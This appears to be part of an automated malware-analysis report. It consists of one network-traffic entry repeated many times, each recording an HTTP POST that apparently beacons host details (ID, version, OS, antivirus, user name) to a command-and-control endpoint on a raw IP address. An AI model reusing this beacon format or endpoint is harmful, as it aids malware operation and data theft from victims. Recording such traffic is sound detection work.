Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
